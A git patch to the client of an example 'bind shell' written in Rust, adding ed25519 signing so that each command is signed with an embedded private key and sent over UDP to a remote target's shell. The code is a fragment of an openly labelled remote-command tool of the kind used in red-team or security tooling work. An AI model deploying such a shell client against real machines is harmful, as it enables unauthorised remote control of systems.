From 82dd4acd6baa72c3f2d335fe503d1eca6262ee27 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Fri, 28 Apr 2023 18:18:50 -0400 Subject: [PATCH] fix: finished example bind shell --- examples/bind-shell/client/src/main.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index 225b4fa..6a65b16 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,11 +1,14 @@ use std::{io::prelude::*, net::UdpSocket, thread}; -use anyhow::anyhow; +use ed25519_dalek::{Keypair, Signer}; +use anyhow::{anyhow, Context}; +const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); fn main() -> anyhow::Result<()> { - let privkey = + let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat()) + .context("could not parse generated private key")?; let mut stdout = std::io::stdout(); let mut stderr = std::io::stderr(); @@ -46,7 +49,10 @@ fn main() -> anyhow::Result<()> { break; } - let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else { + let signature = privkey.sign(cmd.as_bytes()).to_bytes(); + let msg = &[&signature, cmd.as_bytes()].concat(); + + let Ok(_) = remote_stdin.send_to(msg, &target) else { continue; }; }